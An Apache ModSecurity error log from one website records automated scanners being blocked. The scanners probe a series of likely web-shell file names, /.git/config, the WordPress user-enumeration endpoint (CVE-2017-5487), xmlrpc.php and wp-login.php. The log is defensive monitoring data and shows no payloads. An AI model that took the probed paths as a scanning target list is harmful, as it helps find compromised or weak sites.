[Fri Feb 13 03:10:18.210585 2026] [:error] [pid 37510:tid 37525] [client 20.234.103.39:5763] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aY4lmsUrqDPNSf1wYBW85AAAAYk"]
[Fri Feb 13 03:10:18.937654 2026] [:error] [pid 37856:tid 37866] [client 20.234.103.39:5861] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aY4lmpUcWP4qWM7hWsk0iwAAAMc"]
[Fri Feb 13 03:10:19.635484 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:5925] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ac.php"] [unique_id "aY4lm5UcWP4qWM7hWsk0jwAAAMk"]
[Fri Feb 13 03:10:20.488649 2026] [:error] [pid 37511:tid 37587] [client 20.234.103.39:6000] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ac.php"] [unique_id "aY4lnO8EBJ86uZdxpA2jCgAAAEY"]
[Fri Feb 13 03:10:21.286389 2026] [:error] [pid 23410:tid 23413] [client 20.234.103.39:5903] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ac.php"] [unique_id "aY4lnRXZP6NFBacuW_1cXwAAAIE"]
[Fri Feb 13 03:10:22.113179 2026] [:error] [pid 37511:tid 37599] [client 20.234.103.39:5761] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ac.php"] [unique_id "aY4lnu8EBJ86uZdxpA2jEAAAAFI"]
[Fri Feb 13 03:10:22.803475 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6053] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new4.php"] [unique_id "aY4lntDe69znS-f6vSZu2gAAAAQ"]
[Fri Feb 13 03:10:23.366335 2026] [:error] [pid 23410:tid 23429] [client 20.234.103.39:5896] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new4.php"] [unique_id "aY4lnxXZP6NFBacuW_1cZQAAAJE"]
[Fri Feb 13 03:10:24.503989 2026] [:error] [pid 37511:tid 37605] [client 20.234.103.39:5950] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new4.php"] [unique_id "aY4loO8EBJ86uZdxpA2jFwAAAFg"]
[Fri Feb 13 03:10:25.875062 2026] [:error] [pid 37510:tid 37517] [client 20.234.103.39:5949] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new4.php"] [unique_id "aY4locUrqDPNSf1wYBW87QAAAYE"]
[Fri Feb 13 03:10:26.612363 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:6010] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pop.php"] [unique_id "aY4lou8EBJ86uZdxpA2jGwAAAFU"]
[Fri Feb 13 03:10:27.544469 2026] [:error] [pid 37510:tid 37539] [client 20.234.103.39:6007] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pop.php"] [unique_id "aY4lo8UrqDPNSf1wYBW89gAAAZc"]
[Fri Feb 13 03:10:28.243755 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:5862] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pop.php"] [unique_id "aY4lpBXZP6NFBacuW_1cagAAAJM"]
[Fri Feb 13 03:10:29.094257 2026] [:error] [pid 37856:tid 37879] [client 20.234.103.39:6003] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pop.php"] [unique_id "aY4lpZUcWP4qWM7hWsk0lgAAANQ"]
[Fri Feb 13 03:10:29.966034 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6001] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aY4lpZUcWP4qWM7hWsk0mgAAANA"]
[Fri Feb 13 03:10:30.629567 2026] [:error] [pid 37511:tid 37596] [client 20.234.103.39:5916] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aY4lpu8EBJ86uZdxpA2jIAAAAE8"]
[Fri Feb 13 03:10:31.417769 2026] [:error] [pid 37512:tid 37610] [client 20.234.103.39:5878] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aY4lp9De69znS-f6vSZu4gAAAAI"]
[Fri Feb 13 03:10:31.998521 2026] [:error] [pid 37511:tid 37603] [client 20.234.103.39:5892] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aY4lp-8EBJ86uZdxpA2jIgAAAFY"]
[Fri Feb 13 03:10:33.050300 2026] [:error] [pid 37512:tid 37629] [client 20.234.103.39:5850] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY4lqdDe69znS-f6vSZu4wAAABI"]
[Fri Feb 13 03:10:33.920918 2026] [:error] [pid 37856:tid 37870] [client 20.234.103.39:5873] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY4lqZUcWP4qWM7hWsk0owAAAMs"]
[Fri Feb 13 03:10:34.877229 2026] [:error] [pid 37856:tid 37883] [client 20.234.103.39:5897] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY4lqpUcWP4qWM7hWsk0pQAAANg"]
[Fri Feb 13 03:10:35.512262 2026] [:error] [pid 23410:tid 23414] [client 20.234.103.39:5983] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY4lqxXZP6NFBacuW_1ceAAAAII"]
[Fri Feb 13 03:10:36.288646 2026] [:error] [pid 37512:tid 37619] [client 20.234.103.39:5904] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aY4lrNDe69znS-f6vSZu6AAAAAo"]
[Fri Feb 13 03:10:37.167799 2026] [:error] [pid 37510:tid 37532] [client 20.234.103.39:6481] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aY4lrcUrqDPNSf1wYBW9AwAAAZA"]
[Fri Feb 13 03:10:38.502721 2026] [:error] [pid 37512:tid 37615] [client 20.234.103.39:5889] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aY4lrtDe69znS-f6vSZu8AAAAAY"]
[Fri Feb 13 03:10:39.325011 2026] [:error] [pid 37856:tid 37864] [client 20.234.103.39:5844] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aY4lr5UcWP4qWM7hWsk0qQAAAMU"]
[Fri Feb 13 03:10:40.149783 2026] [:error] [pid 37512:tid 37611] [client 20.234.103.39:5891] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY4lsNDe69znS-f6vSZu9QAAAAM"]
[Fri Feb 13 03:10:40.936919 2026] [:error] [pid 37512:tid 37635] [client 20.234.103.39:5881] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY4lsNDe69znS-f6vSZu-QAAABg"]
[Fri Feb 13 03:10:41.753870 2026] [:error] [pid 37512:tid 37626] [client 20.234.103.39:5926] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY4lsdDe69znS-f6vSZu_AAAABA"]
[Fri Feb 13 03:10:42.485669 2026] [:error] [pid 37510:tid 37524] [client 20.234.103.39:5870] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY4lssUrqDPNSf1wYBW9CgAAAYg"]
[Fri Feb 13 03:10:43.911194 2026] [:error] [pid 37856:tid 37862] [client 20.234.103.39:6061] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aY4ls5UcWP4qWM7hWsk0rwAAAMM"]
[Fri Feb 13 03:10:44.602983 2026] [:error] [pid 37511:tid 37599] [client 20.234.103.39:5846] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aY4ltO8EBJ86uZdxpA2jKgAAAFI"]
[Fri Feb 13 03:10:45.420902 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:5933] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aY4lte8EBJ86uZdxpA2jLAAAAFU"]
[Fri Feb 13 03:10:46.275266 2026] [:error] [pid 37511:tid 37603] [client 20.234.103.39:5940] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aY4ltu8EBJ86uZdxpA2jLgAAAFY"]
[Fri Feb 13 03:10:47.603042 2026] [:error] [pid 37511:tid 37585] [client 20.234.103.39:5859] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY4lt-8EBJ86uZdxpA2jMAAAAEQ"]
[Fri Feb 13 03:10:48.296339 2026] [:error] [pid 37511:tid 37594] [client 20.234.103.39:5829] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY4luO8EBJ86uZdxpA2jNgAAAE0"]
[Fri Feb 13 03:10:48.828402 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:5848] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY4luO8EBJ86uZdxpA2jPQAAAFM"]
[Fri Feb 13 03:10:49.755178 2026] [:error] [pid 37856:tid 37859] [client 20.234.103.39:5959] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY4luZUcWP4qWM7hWsk0uAAAAMA"]
[Fri Feb 13 03:10:50.559944 2026] [:error] [pid 37511:tid 37594] [client 20.234.103.39:5885] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aY4luu8EBJ86uZdxpA2jRAAAAE0"]
[Fri Feb 13 03:10:51.172201 2026] [:error] [pid 37510:tid 37530] [client 20.234.103.39:5942] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aY4lu8UrqDPNSf1wYBW9EgAAAY4"]
[Fri Feb 13 03:10:51.786106 2026] [:error] [pid 37856:tid 37864] [client 20.234.103.39:5980] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aY4lu5UcWP4qWM7hWsk0vgAAAMU"]
[Fri Feb 13 03:10:52.768394 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:5772] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aY4lvO8EBJ86uZdxpA2jTAAAAFU"]
[Fri Feb 13 03:10:53.571842 2026] [proxy_fcgi:error] [pid 37856:tid 37862] [client 20.234.103.39:5943] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:10:53.826164 2026] [proxy_fcgi:error] [pid 37856:tid 37866] [client 20.234.103.39:5943] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:10:54.079938 2026] [proxy_fcgi:error] [pid 37856:tid 37881] [client 20.234.103.39:5943] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:10:54.336130 2026] [proxy_fcgi:error] [pid 37856:tid 37864] [client 20.234.103.39:5943] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 05:42:33.028238 2026] [proxy_fcgi:error] [pid 51243:tid 51265] [client 51.120.78.0:59849] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 07:05:00.958331 2026] [:error] [pid 49223:tid 49236] [client 205.185.193.168:37908] [client 205.185.193.168] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aY5cnB8A_fZBamNLnfVX9QAAAAQ"], referer: https://www.google.com
[Fri Feb 13 07:05:15.321959 2026] [:error] [pid 49225:tid 49298] [client 23.94.67.119:48516] [client 23.94.67.119] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY5cqzwH8-zGxtAd3jv9IgAAAIQ"]
[Fri Feb 13 07:05:15.322306 2026] [:error] [pid 49225:tid 49298] [client 23.94.67.119:48516] [client 23.94.67.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.94.67.119, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY5cqzwH8-zGxtAd3jv9IgAAAIQ"]
[Fri Feb 13 07:05:15.333284 2026] [proxy_fcgi:error] [pid 49225:tid 49298] [client 23.94.67.119:48516] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 07:05:19.571159 2026] [:error] [pid 49335:tid 49354] [client 23.94.67.102:58480] [client 23.94.67.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.67.102, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY5cr6p--SFY2nwOiqlqzQAAANE"], referer: https://www.google.com
[Fri Feb 13 07:05:19.575678 2026] [proxy_fcgi:error] [pid 49335:tid 49354] [client 23.94.67.102:58480] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Fri Feb 13 07:05:26.545808 2026] [:error] [pid 49224:tid 49267] [client 205.185.193.180:18398] [client 205.185.193.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.193.180, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY5cttiAvPoWmw5Yhwm8LwAAAEA"], referer: https://www.google.com
[Fri Feb 13 07:05:26.550144 2026] [proxy_fcgi:error] [pid 49224:tid 49267] [client 205.185.193.180:18398] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Fri Feb 13 08:02:50.046153 2026] [:error] [pid 51243:tid 51250] [client 154.213.165.33:35403] [client 154.213.165.33] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aY5qKsim7ZTAHzi7xZsHLAAAAQU"]
[Fri Feb 13 08:02:50.893274 2026] [:error] [pid 49224:tid 49272] [client 65.111.11.47:23563] [client 65.111.11.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aY5qKtiAvPoWmw5Yhwna1gAAAEU"]
[Fri Feb 13 10:08:58.489130 2026] [:error] [pid 49225:tid 49301] [client 149.102.244.69:34015] [client 149.102.244.69] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aY6HujwH8-zGxtAd3jtnLQAAAIc"], referer: https://www.google.com
[Fri Feb 13 10:10:25.627341 2026] [:error] [pid 46821:tid 46846] [client 176.67.86.16:65416] [client 176.67.86.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.67.86.16, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY6IEY6G1N5YSq0J0gdzsAAAAVc"], referer: https://www.google.com
[Fri Feb 13 10:10:25.638392 2026] [proxy_fcgi:error] [pid 46821:tid 46846] [client 176.67.86.16:65416] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Fri Feb 13 10:10:42.031614 2026] [:error] [pid 49223:tid 49250] [client 176.67.86.16:5772] [client 176.67.86.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.67.86.16, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY6IIh8A_fZBamNLnfWqGQAAABI"], referer: https://www.google.com
[Fri Feb 13 10:10:42.042976 2026] [proxy_fcgi:error] [pid 49223:tid 49250] [client 176.67.86.16:5772] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
